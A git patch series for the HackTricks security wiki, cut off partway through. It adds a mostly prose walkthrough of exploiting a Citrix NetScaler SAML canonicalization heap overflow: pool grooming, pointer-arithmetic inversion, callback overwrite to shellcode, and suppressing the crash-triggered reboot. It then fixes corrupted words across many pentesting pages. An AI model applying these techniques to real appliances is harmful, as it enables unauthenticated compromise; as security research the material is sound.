From 819310db6b0b112d80da5f611bd8d4c5f9f00f38 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Fri, 14 Aug 2026 19:03:23 +0000 Subject: [PATCH 1/3] Add content from: You're Back in the Room: Citrix NetScaler Pre-Authentication... --- .../libc-heap/heap-overflow.md | 39 +++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 6a354e9ed21..0e00e2b298d 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -76,6 +76,43 @@ Source-side checks such as `count <= remaining_input` are **not enough**. The pa This pattern is especially relevant in **games, importers, asset packs, media parsers, and mod/plugin ecosystems**, where a “passive” file can trigger complex stateful parsing and attacker-controlled heap shaping.[[2]](#references) +### Canonicalization output overflowing fixed-stride object pools + +Do not size a destination from the raw XML alone: **canonicalization can produce a different-length serialization**. In a NetScaler SAML path, exclusive C14N canonicalized attacker-controlled `ds:SignedInfo` into a fixed-size network-buffer object before authentication completed. Most signature fields were constrained, but `ec:InclusiveNamespaces PrefixList` accepted a long list when every space-separated prefix was unique, making it a useful expansion surface. The patched implementation rejects a computed canonical form of `0x1001` bytes or more.[[10]](#references)[[11]](#references) + +A compact way to generate uniquely identifiable C14N input is:[[10]](#references) + +```python +prefixes = " ".join(f"N{i}" for i in range(2000)) +inclusive_ns = ( + '' +) +``` + +The important exploitation pattern is **delayed cross-object corruption**. The canonicalized data started at `+0x180` in a fixed-stride `0x980`-byte packet-buffer pool; a linear overflow entered the next object's header and reached a type field, a data pointer at `+0x50`, and a freelist link at `+0x60`. The fault occurred only after the poisoned object was recycled and packet-send code trusted those fields, so a crash in `memcpy` was far removed from the original C14N write. On FreeBSD, the resulting invalid access may appear as `SIGBUS` rather than `SIGSEGV`.[[10]](#references) + +For this kind of pool allocator, use the overflow length as a grooming parameter and map the victim header systematically:[[10]](#references) + +1. Fill the input with fixed-width, self-describing tokens such as `N%07d` or `M0000000`, then inspect corrupted qwords to recover the exact source offset controlling each field. +2. Sweep lengths while breaking on both allocation and the later consumer; the length can select the recycled victim as well as the deepest overwritten field. +3. Preserve fields needed to reach the dangerous use. For example, set a damaged freelist link to a known valid object instead of leaving marker bytes there. +4. Trace the corrupted pointer through all arithmetic immediately before its use rather than assuming the stored value becomes the final pointer unchanged. + +In the demonstrated consumer, the overwritten neighbor supplied the destination, the original object supplied attacker-controlled canonicalized bytes, and packet metadata supplied the copy length:[[10]](#references) + +```c +memcpy(*(victim + 0x50), + *(source + 0x50), + *(source + 0xE0) - *(source + 0x50)); +``` + +The implementation also performed `destination = stored_pointer - packet_length`. Therefore, targeting address `X` required storing `X + packet_length`, illustrating why controlled pointer arithmetic must be inverted when building a write-what-where primitive. In a non-PIE process without ASLR, that write can target a frequently executed global callback; if attacker data is at a predictable executable heap address, replacing the callback with that address can yield direct shellcode execution without an information leak or ROP.[[10]](#references) + +> [!NOTE] +> If the corrupted process cannot safely continue, execute persistence or cleanup logic **before** the inevitable fault. In the NetScaler chain, shellcode replaced fatal-signal handlers with `SIG_IGN` via FreeBSD `sigaction`, preventing the handlers from asking the supervisor to reboot the appliance. The supervisor then respawned only the packet engine, preserving files written before the crash. This behavior is supervisor-specific and should be verified by tracing the process-to-watchdog notification path.[[10]](#references) + ### Real-World Example: CVE-2025-40597 – Misusing `__sprintf_chk` In SonicWall SMA100 firmware 10.2.1.15 the reverse-proxy module `mod_httprp.so` allocates an **0x80-byte** heap chunk and then concatenates several strings into it with `__sprintf_chk`:[[1]](#references) @@ -120,5 +157,7 @@ Practical exploitation would require **heap grooming** to place a controllable o - [7] [8kSec – ARM64 Reversing and Exploitation Part 1: ARM Instruction Set & Simple Heap Overflow](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) - [8] [7rocky – Auth-or-out. Hack The Box](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) - [9] [MITRE CWE-122 – Heap-based Buffer Overflow](https://cwe.mitre.org/data/definitions/122.html) +- [10] [watchTowr Labs – You’re Back In The Room: Citrix NetScaler pre-authentication RCE](https://labs.watchtowr.com/youre-back-in-the-room-citrix-netscaler-pre-auth-rce-cve-2026-8452/) +- [11] [Citrix Security Bulletin CTX696604](https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696604) {{#include ../../banners/hacktricks-training.md}} From 38c95cdbe7d67318fbcb7ba8e0522091901d4a82 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sat, 15 Aug 2026 11:36:46 +0200 Subject: [PATCH 2/3] Restore text corrupted by citation cleanup --- .../7.0.-lora-improvements-in-fine-tuning.md | 2 +- .../arbitrary-write-2-exec/aw2exec-sips-icc-profile.md | 2 +- .../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md | 2 +- .../imessage-media-parser-zero-click-coreaudio-pac-bypass.md | 2 +- .../libc-heap/gnu-obstack-function-pointer-hijack.md | 2 +- src/binary-exploitation/libc-heap/heap-overflow.md | 2 +- src/binary-exploitation/libc-heap/house-of-force.md | 4 ++-- src/generic-hacking/archive-extraction-path-traversal.md | 2 +- src/generic-hacking/tunneling-and-port-forwarding.md | 4 ++-- .../partitions-file-systems-carving/README.md | 2 +- .../svg-font-glyph-analysis-and-web-drm-deobfuscation.md | 4 ++-- .../pentesting-network/dhcpv6.md | 2 +- .../pentesting-wifi/README.md | 2 +- .../linux-basics/bypass-linux-restrictions/README.md | 4 ++-- ...oid-rooting-frameworks-manager-auth-bypass-syscall-hook.md | 2 +- .../macos-installers-abuse.md | 2 +- .../24007-24008-24009-49152-pentesting-glusterfs.md | 2 +- .../5353-udp-multicast-dns-mdns.md | 2 +- .../pentesting-631-internet-printing-protocol-ipp.md | 2 +- src/network-services-pentesting/pentesting-ldap.md | 2 +- .../pentesting-mssql-microsoft-sql-server/README.md | 2 +- src/network-services-pentesting/pentesting-sap.md | 2 +- .../ksmbd-attack-surface-and-fuzzing-syzkaller.md | 4 ++-- .../forced-extension-load-preferences-mac-forgery-windows.md | 2 +- src/pentesting-web/h2c-smuggling.md | 4 ++-- .../postgresql-injection/rce-with-postgresql-extensions.md | 2 +- .../ssti-server-side-template-injection/README.md | 2 +- src/pentesting-web/xss-cross-site-scripting/sniff-leak.md | 2 +- .../xss-cross-site-scripting/xss-in-markdown.md | 2 +- .../active-directory-methodology/kerberoast.md | 2 +- .../windows-local-privilege-escalation/create-msi-with-wix.md | 2 +- 31 files changed, 37 insertions(+), 37 deletions(-) diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index 8583d5f109c..33a0c992846 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -19,7 +19,7 @@ LoRA makes it possible to fine-tune **large models** efficiently by only changin 3. **Efficient Task-Specific Fine-Tuning**: When you want to adapt the model to a **new task**, you can just train the **small LoRA matrices** (A and B) while leaving the rest of the model as it is. This is **much more efficient** than retraining the entire model. 4. **Storage Efficiency**: After fine-tuning, instead of saving a **whole new model** for each task, you only need to store the **LoRA matrices**, which are very small compared to the entire model. This makes it easier to adapt the model to many tasks without using too much storage. -The following minimal implementation adapts the d notebook. It initializes `B` to zero so the adapter begins as a no-op, and uses the standard `alpha / rank` scaling from LoRA. The code stores the factors in input-major shapes (`A` is `in_dim x rank` and `B` is `rank x out_dim`), so its forward path is written as `xAB`; this is the transposed-shape equivalent of the paper's `BA` notation.[[2]](#references)[[3]](#references) +The following minimal implementation adapts the cited notebook. It initializes `B` to zero so the adapter begins as a no-op, and uses the standard `alpha / rank` scaling from LoRA. The code stores the factors in input-major shapes (`A` is `in_dim x rank` and `B` is `rank x out_dim`), so its forward path is written as `xAB`; this is the transposed-shape equivalent of the paper's `BA` notation.[[2]](#references)[[3]](#references) ```python import math diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index cfd36adda19..b73761840da 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -99,7 +99,7 @@ The header and tag layout follow the ICC profile format, but this remains a stru ## Impact -Processing a crafted ICC profile through the vulnerable `sips` path may terminate the process and could lead to code execution in the context of that process. ICC profiles can be standalone files or embedded in formats such as PNG, JPEG, and TIFF, but reachability through Preview, Quick Look, Safari, or Mail must be tested separately. The d advisories do not establish a Gatekeeper bypass.[[1]](#references)[[2]](#references) +Processing a crafted ICC profile through the vulnerable `sips` path may terminate the process and could lead to code execution in the context of that process. ICC profiles can be standalone files or embedded in formats such as PNG, JPEG, and TIFF, but reachability through Preview, Quick Look, Safari, or Mail must be tested separately. The cited advisories do not establish a Gatekeeper bypass.[[1]](#references)[[2]](#references) ## Detection & Mitigation diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 8e5c3201753..2fdda88877a 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -42,7 +42,7 @@ Note that entries in `.fini_array` are called in **reverse** order, so you proba #### Eternal loop -The d Insomni'hack `onewrite` exploit turns **`.fini_array`** into a repeatable write loop. With at least two usable entries, it can:[[1]](#references) +The cited Insomni'hack `onewrite` exploit turns **`.fini_array`** into a repeatable write loop. With at least two usable entries, it can:[[1]](#references) - Use your first write to **call the vulnerable arbitrary write function** again - Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`** diff --git a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md index 27bd11de3cb..c5b88616ee6 100644 --- a/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md +++ b/src/binary-exploitation/ios-exploiting/imessage-media-parser-zero-click-coreaudio-pac-bypass.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -This page summarizes Apple's confirmed impact for CVE-2025-31200 and CVE-2025-31201, followed by an end-to-end exploitation chain **claimed by the d JGoyd research repository**. Apple confirms CoreAudio code execution from malicious media and an RPAC pointer-authentication bypass for an attacker who already has arbitrary read/write; it does not document the repository's asserted iMessage, Wi-Fi, kernel, or CryptoTokenKit stages.[[1]](#references)[[2]](#references)[[3]](#references) +This page summarizes Apple's confirmed impact for CVE-2025-31200 and CVE-2025-31201, followed by an end-to-end exploitation chain **claimed by the cited JGoyd research repository**. Apple confirms CoreAudio code execution from malicious media and an RPAC pointer-authentication bypass for an attacker who already has arbitrary read/write; it does not document the repository's asserted iMessage, Wi-Fi, kernel, or CryptoTokenKit stages.[[1]](#references)[[2]](#references)[[3]](#references) > Warning: This is an educational summary to help defenders, researchers, and red teams understand the techniques. Do not use offensively. diff --git a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md index e874f06740d..254e2fa8d2d 100644 --- a/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md +++ b/src/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack.md @@ -4,7 +4,7 @@ ## Overview -GNU obstacks embed allocator state together with allocator callbacks. The following offsets are from the d **x86-64 glibc 2.42 challenge build** and are not ABI-stable:[[1]](#references)[[2]](#references) +GNU obstacks embed allocator state together with allocator callbacks. The following offsets are from the cited **x86-64 glibc 2.42 challenge build** and are not ABI-stable:[[1]](#references)[[2]](#references) - `chunkfun` (offset `+0x38`) with signature `void *(*chunkfun)(void *, size_t)` - `freefun` (offset `+0x40`) with signature `void (*freefun)(void *, void *)` diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 0e00e2b298d..923de826a57 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -17,7 +17,7 @@ In stack overflows, the layout and data present when the vulnerability is trigge Heap allocations, by contrast, are placed and reused according to allocator policies such as size classes, bins, zones, and freelists. The object adjacent to a vulnerable allocation can therefore be difficult to predict. Exploitation usually requires a **reliable way to place a useful victim object immediately after the overflowing buffer**. -One technique for controlling this layout is **heap grooming**. The d iOS kernel example explains that when a zone ran out of space for objects of a particular size, it expanded by a kernel page and split that page into suitable chunks. Those chunks were allocated in order on the older version described; iOS 9.2 introduced randomized selection to make this layout less predictable.[[3]](#references) +One technique for controlling this layout is **heap grooming**. The cited iOS kernel example explains that when a zone ran out of space for objects of a particular size, it expanded by a kernel page and split that page into suitable chunks. Those chunks were allocated in order on the older version described; iOS 9.2 introduced randomized selection to make this layout less predictable.[[3]](#references) In that exploit, several threads force many **`kalloc` allocations to fill existing free chunks and encourage the creation of a new page**, helping place the overflowing object next to a chosen victim.[[3]](#references) diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md index ce0f6fe1869..dc0e77682b1 100644 --- a/src/binary-exploitation/libc-heap/house-of-force.md +++ b/src/binary-exploitation/libc-heap/house-of-force.md @@ -22,7 +22,7 @@ In a vulnerable allocator, the attacker corrupts the top-chunk size to the maximum unsigned value, then requests a carefully chosen size that advances the top pointer to just before target address `P`. Request size and `mmap` behavior still depend on allocator checks, thresholds, alignment, and integer arithmetic.[[3]](#references) -Calculate the distance from the current top chunk to the target. The first crafted `malloc` advances the top chunk by that amount; the next allocation then overlaps the target. For the d PoC, the request calculation is:[[4]](#references) +Calculate the distance from the current top chunk to the target. The first crafted `malloc` advances the top chunk by that amount; the next allocation then overlaps the target. For the cited PoC, the request calculation is:[[4]](#references) ```c // From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5 @@ -37,7 +37,7 @@ Calculate the distance from the current top chunk to the target. The first craft */ ``` -For the d 64-bit/32-bit PoC layout, allocating `target - old_top - 4*sizeof(long)` accounts for the two chunk headers and moves the next returned chunk over the target. Recalculate this from `request2size()` and the exact architecture instead of treating the expression as universal.[[5]](#references)[[6]](#references)\ +For the cited 64-bit/32-bit PoC layout, allocating `target - old_top - 4*sizeof(long)` accounts for the two chunk headers and moves the next returned chunk over the target. Recalculate this from `request2size()` and the exact architecture instead of treating the expression as universal.[[5]](#references)[[6]](#references)\ Then call `malloc` again to obtain a chunk overlapping the target address. ### Worked exploit examples diff --git a/src/generic-hacking/archive-extraction-path-traversal.md b/src/generic-hacking/archive-extraction-path-traversal.md index 988d1e0cb2b..81d05ff4f75 100644 --- a/src/generic-hacking/archive-extraction-path-traversal.md +++ b/src/generic-hacking/archive-extraction-path-traversal.md @@ -99,7 +99,7 @@ ESET reported RomCom (Storm-0978/UNC2596) spear-phishing campaigns that attached ## Mitigation & Hardening -1. **Update the extractor** – WinRAR 7.13+ and 7-Zip 25.00+ contain fixes for the d path/symlink issues.[[1]](#references)[[5]](#references) +1. **Update the extractor** – WinRAR 7.13+ and 7-Zip 25.00+ contain fixes for the cited path/symlink issues.[[1]](#references)[[5]](#references) 2. Extract archives with “**Do not extract paths**” / “**Ignore paths**” when possible. 3. On Unix, drop privileges & mount a **chroot/namespace** before extraction; on Windows, use **AppContainer** or a sandbox. 4. If writing custom code, normalise with `realpath()`/`PathCanonicalize()` **before** create/write, and reject any entry that escapes the destination. diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 739a7cd5f6d..e192eb36faf 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -817,7 +817,7 @@ qemu-system-x86_64.exe ^ ### Launching stealthily through VBScript -TrustedSec observed VBS-driven QEMU launches and Tiny Core images in the incident d above.[[1]](#references) +TrustedSec observed VBS-driven QEMU launches and Tiny Core images in the incident cited above.[[1]](#references) ```vb ' update.vbs – lived in C:\ProgramData\update @@ -829,7 +829,7 @@ Running the script with `cscript.exe //B update.vbs` keeps the window hidden.[[1]](#references) +The cited incident describes persistence in the stateless Tiny Core guest through `/opt/bootlocal.sh` and `/opt/filetool.lst`:[[1]](#references) 1. Drop payload to `/opt/123.out` 2. Append to `/opt/bootlocal.sh`: diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 38c658971c9..ed04bdf8808 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -97,7 +97,7 @@ The partition table header defines the usable blocks on the disk. It also define | Offset | Length | Contents | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)on little-endian machines) | +| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | | 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | | 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | | 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md index db2699f3bc2..a8f178cc638 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md @@ -245,7 +245,7 @@ The source report used run geometry, style fields, and link metadata to preserve - In practice, books converge to a few hundred unique glyphs (e.g., ~361 including ligatures). Cache SSIM results by perceptual hash.[[1]](#references) - After initial discovery, future batches predominantly re-use known hashes; decoding becomes I/O-bound. -- The d report observed an average SSIM of about 0.95; flag low-scoring matches for manual review.[[1]](#references) +- The cited report observed an average SSIM of about 0.95; flag low-scoring matches for manual review.[[1]](#references) ## Generalization to other viewers @@ -279,7 +279,7 @@ Adjust parameterization (book ASIN, page window, viewport) to match the reader ## Results achievable - Collapse 100+ randomized alphabets to a single glyph space via perceptual hashing.[[1]](#references) -- In the d 920-page test, 361 unique glyphs were matched (100%) with an average SSIM of 0.9527.[[1]](#references) +- In the cited 920-page test, 361 unique glyphs were matched (100%) with an average SSIM of 0.9527.[[1]](#references) - The source report describes the reconstructed EPUB as near-indistinguishable from the original.[[1]](#references) ## References diff --git a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index e877f5d1f8e..288d3f62032 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -78,7 +78,7 @@ sudo atk6-flood_dhcpc6 ### Reconfigure Message Caveat -Clients are unwilling to accept **Reconfigure** messages by default; they signal willingness with `OPTION_RECONF_ACCEPT`, and valid messages must also pass the protocol's other checks.[[5]](#references) Unsolid Reconfigure attempts are therefore unreliable unless the target's behavior is confirmed. +Clients are unwilling to accept **Reconfigure** messages by default; they signal willingness with `OPTION_RECONF_ACCEPT`, and valid messages must also pass the protocol's other checks.[[5]](#references) Unsolicited Reconfigure attempts are therefore unreliable unless the target's behavior is confirmed. ## References diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/README.md b/src/generic-methodologies-and-resources/pentesting-wifi/README.md index 915df32d59e..6abcdeb3042 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -986,7 +986,7 @@ This method allows an **attacker to create a malicious access point (AP) that re ### MANA -Then, **devices started to ignore unsolid network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solid by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks. +Then, **devices started to ignore unsolicited network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solicited by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks. The MANA attack operates by monitoring both directed and broadcast probe requests from devices. For directed requests, it records the device's MAC address and the requested network name, adding this information to a list. When a broadcast request is received, the AP responds with information matching any of the networks on the device's list, enticing the device to connect to the rogue AP.[[4]](#references) diff --git a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md index 6ba9420b663..c23134c363f 100644 --- a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md +++ b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md @@ -358,7 +358,7 @@ Therefore you can create a *NOP sled for Bash* by prefixing your real command wi # 16× spaces ───┘ ↑ real command ``` -If a ROP chain (or another memory-corruption primitive) passes a command-string pointer that begins anywhere within the space block, Bash can parse the remaining leading blanks until it reaches the command; in the d router exploit, this made uncertain string offsets usable.[[5]](#references)[[7]](#references) +If a ROP chain (or another memory-corruption primitive) passes a command-string pointer that begins anywhere within the space block, Bash can parse the remaining leading blanks until it reaches the command; in the cited router exploit, this made uncertain string offsets usable.[[5]](#references)[[7]](#references) Practical use cases in constrained embedded targets include:[[5]](#references) @@ -366,7 +366,7 @@ Practical use cases in constrained embedded targets include:[[5]](#referenc 2. Payload channels where the attacker cannot write NULL bytes to align the payload (a general adaptation of the alignment problem).[[5]](#references) 3. Embedded devices with a small BusyBox `ash`/`sh` environment, which BusyBox documents as applets in resource-constrained systems.[[10]](#references) -> 🛠️ Combine this technique with ROP gadgets that call `system()` in a controlled lab; the d router research demonstrates this combination on constrained hardware.[[5]](#references) +> 🛠️ Combine this technique with ROP gadgets that call `system()` in a controlled lab; the cited router research demonstrates this combination on constrained hardware.[[5]](#references) ## References diff --git a/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md b/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md index c06efd034be..ce095589ec2 100644 --- a/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +++ b/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -66,7 +66,7 @@ The concrete KernelSU v0.5.7 case requires:[[1]](#references)[[3]](#referen --- ## Exploitation outline (KernelSU v0.5.7) -High-level steps (the d demo video shows the public proof of concept in operation):[[1]](#references)[[2]](#references)[[10]](#references) +High-level steps (the cited demo video shows the public proof of concept in operation):[[1]](#references)[[2]](#references)[[10]](#references) 1) Build a valid path to your own app data directory to satisfy prefix and ownership checks. 2) Place a genuine KernelSU Manager base.apk under `/data/app/` at a path containing your package string, then open it on a lower-numbered FD than your own base.apk. 3) Invoke prctl(0xDEADBEEF, CMD_BECOME_MANAGER, , ...) to pass the checks. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index e7d43f0e88f..8ec1645bfa5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -79,7 +79,7 @@ The hierarchy of a DMG file can be different based on the content. However, for ### Execution from public directories -If a pre- or post-installation script executes a file such as **`/var/tmp/Installerutil`** and an attacker can replace that file, the attacker can escalate privileges when the installer invokes it. The d talks and walkthrough show variants of this insecure external-script pattern.[[1]](#references)[[3]](#references)[[4]](#references) +If a pre- or post-installation script executes a file such as **`/var/tmp/Installerutil`** and an attacker can replace that file, the attacker can escalate privileges when the installer invokes it. The cited talks and walkthrough show variants of this insecure external-script pattern.[[1]](#references)[[3]](#references)[[4]](#references)
https://www.youtube.com/watch?v=iASSG0_zobQ

https://www.youtube.com/watch?v=kCXhIYtODBg

diff --git a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md index 43db447d52b..a2d638c3906 100644 --- a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md +++ b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md @@ -61,7 +61,7 @@ In an authorized lab, obtain the following files from a provisioned client and p ## Version-specific vulnerabilities -The affected versions and impacts below come from the d CVE records and vendor advisory; distribution backports may change package-level status.[[2]](#references)[[3]](#references)[[6]](#references) +The affected versions and impacts below come from the cited CVE records and vendor advisory; distribution backports may change package-level status.[[2]](#references)[[3]](#references)[[6]](#references) | CVE | Affected versions | Impact | Notes | |-----|-------------------|--------|-------| diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index f1477c32453..9147edbb08d 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -110,7 +110,7 @@ Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay work - Avahi reachable-assertion bugs CVE-2023-38469 through CVE-2023-38473 and the D-Bus-related CVE-2023-1981 can terminate `avahi-daemon` on affected distributions, disrupting service discovery until it restarts. The exact vectors differ; install the distribution's fixed Avahi package rather than treating the identifiers as one network exploit.[[12]](#references) - Cisco IOS XE Wireless LAN Controller mDNS gateway CVE-2024-20303 allows an unauthenticated adjacent WLAN attacker to send a sustained stream of crafted mDNS traffic, drive controller CPU high, and potentially disconnect AP tunnels. It is a disruptive DoS condition, not a general-purpose roaming primitive.[[4]](#references) - Apple mDNSResponder CVE-2024-44183 allowed a local app to cause denial of service. Apple addressed the logic error in iOS/iPadOS 18; consult the matching advisory for other Apple platform releases.[[5]](#references)[[15]](#references) -- Apple mDNSResponder CVE-2025-31222 was a local privilege-escalation correctness issue fixed in macOS Sequoia 15.5. Apple's advisory describes a local user impact; it is not a remote mDNS network exploit and the d macOS advisory does not establish iPhone impact.[[6]](#references)[[13]](#references) +- Apple mDNSResponder CVE-2025-31222 was a local privilege-escalation correctness issue fixed in macOS Sequoia 15.5. Apple's advisory describes a local user impact; it is not a remote mDNS network exploit and the cited macOS advisory does not establish iPhone impact.[[6]](#references)[[13]](#references) ### Browser/WebRTC mDNS considerations diff --git a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md index 88322fd6edf..98cd67638cb 100644 --- a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md +++ b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md @@ -122,7 +122,7 @@ Placing a symbolic link in *cupsd.conf*'s `Listen` directive can make `cupsd` (o 2. Disable `cups-browsed` and UDP/631 unless zeroconf printing is required. 3. Restrict TCP/631 to trusted subnets/VPN and enforce **TLS (ipps://)**. 4. Require **Kerberos/Negotiate** or certificate auth instead of anonymous printing. -5. Monitor logs: `/var/log/cups/error_log` with `LogLevel debug2` can reveal unsolid PPD downloads or suspicious filter invocations. +5. Monitor logs: `/var/log/cups/error_log` with `LogLevel debug2` can reveal unsolicited PPD downloads or suspicious filter invocations. 6. In high-security networks, move printing to a hardened, isolated print server that proxies jobs to devices via USB only. ## References diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index a6dab9ca54f..4cb73c19cc1 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -114,7 +114,7 @@ For `ldaps://` or successfully negotiated StartTLS, interception additionally re ### Bypass TLS SNI check -In the d environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) +In the cited environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) ```bash 